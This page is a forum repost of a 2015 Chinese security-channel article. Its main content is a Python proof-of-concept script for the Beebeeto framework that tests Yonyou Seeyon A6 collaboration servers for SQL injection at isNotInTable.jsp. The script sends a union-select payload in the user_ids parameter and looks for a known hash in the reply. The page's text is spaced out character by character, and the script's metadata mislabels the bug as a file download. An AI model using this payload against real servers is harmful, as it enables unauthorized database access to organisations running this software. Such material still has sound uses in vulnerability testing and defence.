搜索

[2344] 2015-10-08_【POC】用友致远A6协同系统isNotInTable.jspSQLInjection

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2015-10-08_【POC】用友致远A6协同系统isNotInTable.jspSQLInjection 【 P O C 】 用 友 致 远 A 6 协 同 系 统   / i s N o t I n T a b l e . j s p   S Q L   I n j e c t i o n b e e b e e t o   E 安 全   2 0 1 5 - 1 0 - 0 8 【 新 朋 友 【 新 朋 友 】 点 击 标 题 下 面 蓝 字 「 E 安 全 安 全 」 关 注 【 老 朋 友 老 朋 友 】 点 击 右 上 角 ， 分 享 或 收 藏 本 页 精 彩 内 容 【 公 众 号 公 众 号 】 搜 索 公 众 号 ： E 安 全 安 全 ， 或 者 I D : E A Q a p p # ! / u s r / b i n / e n v   p y t h o n #   c o d i n g = u t f - 8 " " " A u t h o r :   S e v s e a F r a m e w o r k :   h t t p s : / / g i t h u b . c o m / n 0 t r 0 0 t / B e e b e e t o - f r a m e w o r k " " " i m p o r t   r e q u e s t s f r o m   b a s e f r a m e   i m p o r t   B a s e F r a m e c l a s s   M y P o c ( B a s e F r a m e ) : p o c _ i n f o   =   { ' p o c ' : { ' i d ' : ' p o c - 2 0 1 5 - 0 1 3 3 ' , ' n a m e ' : ' 用 友 致 远 A 6 协 同 系 统   / i s N o t I n T a b l e . j s p   S Q L   I n j e c t i o n   P o C ' , ' a u t h o r ' : ' S e v s e a ' , ' c r e a t e _ d a t e ' : ' 2 0 1 5 - 0 8 - 2 7 ' , } , ' p r o t o c o l ' : { ' n a m e ' : ' h t t p ' , ' p o r t ' : ' 8 0 ' , ' l a y e r 4 _ p r o t o c o l ' : [ ' t c p ' ] , } , ' v u l ' : { ' a p p _ n a m e ' : ' 用 友 ' , ' v u l _ v e r s i o n ' : [ ' * ' ] , ' t y p e ' :   ' A r b i t r a r y   F i l e   D o w n l o a d ' ,
' t a g ' :   [ ' 用 友 S Q L 注 入 漏 洞 ' ,   ' / e x t / t r a f a x s e r v e r / E x t n o M a n a g e / i s N o t I n T a b l e . j s p   漏 洞 ' ,   ' j s p ' ] , ' d e s c ' :   ' 用 友   m y s q l + j s p   注 射 ' , ' r e f e r e n c e s ' :   [ ' h t t p : / / w o o y u n . o r g / b u g s / w o o y u n - 2 0 1 0 - 0 1 1 0 3 1 2 ' ] , } , } @ c l a s s m e t h o d d e f   v e r i f y ( c l s , a r g s ) : u r l   =   a r g s [ ' o p t i o n s ' ] [ ' t a r g e t ' ] v e r i f y _ u r l = ( ' % s / y y o a / e x t / t r a f a x s e r v e r / E x t n o M a n a g e / i s N o t I n T a b l e . j s p ? u s e r _ i d s = ' ' ( 1 7 )   u n i o n   a l l   s e l e c t   m d 5 ( 3 . 1 4 1 5 ) # ' )   %   u r l i f   a r g s [ ' o p t i o n s ' ] [ ' v e r b o s e ' ] : p r i n t   ' [ * ]   R e q u e s t   U R L :   '   +   v e r i f y _ u r l r e q   =   r e q u e s t s . g e t ( v e r i f y _ u r l ) i f   r e q . s t a t u s _ c o d e   ! =   4 0 4   a n d   ' 6 3 e 1 f 0 4 6 4 0 e 8 3 6 0 5 c 1 d 1 7 7 5 4 4 a 5 a 0 4 8 8 '   i n   r e q . c o n t e n t : a r g s [ ' s u c c e s s ' ]   =   T r u e a r g s [ ' p o c _ r e t ' ] [ ' v u l _ u r l ' ]   =   v e r i f y _ u r l r e t u r n   a r g s e x p l o i t   =   v e r i f y i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : f r o m   p p r i n t   i m p o r t   p p r i n t m p   =   M y P o c ( ) p p r i n t ( m p . r u n ( d e b u g = T r u e ) )   关 于 E 安 全 E 安 全 是 国 内 第 一 款 面 向 信 息 安 全 行 业 的 免 费 内 容 分 享 平 台 ， E 安 全 秉 承 “ 掌 握 信 息 安 全 的 专 家 ” 的 分 享 精 神 ， 长 期 提 供 的 免 费 专 业 的 信 息 安 全 课 程 教 学 、 业 内 资 料 、 威 胁 预 警 以 及 最 新 资 讯 ， 为 信 息 安 全 专 业 人 才 的 成 长 提 供 一 个 更 为 便 捷 和 高 效 的 一 站 式 服 务 。 点 击 “ 阅 读 全 文 ” ， 了 解 详 情
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理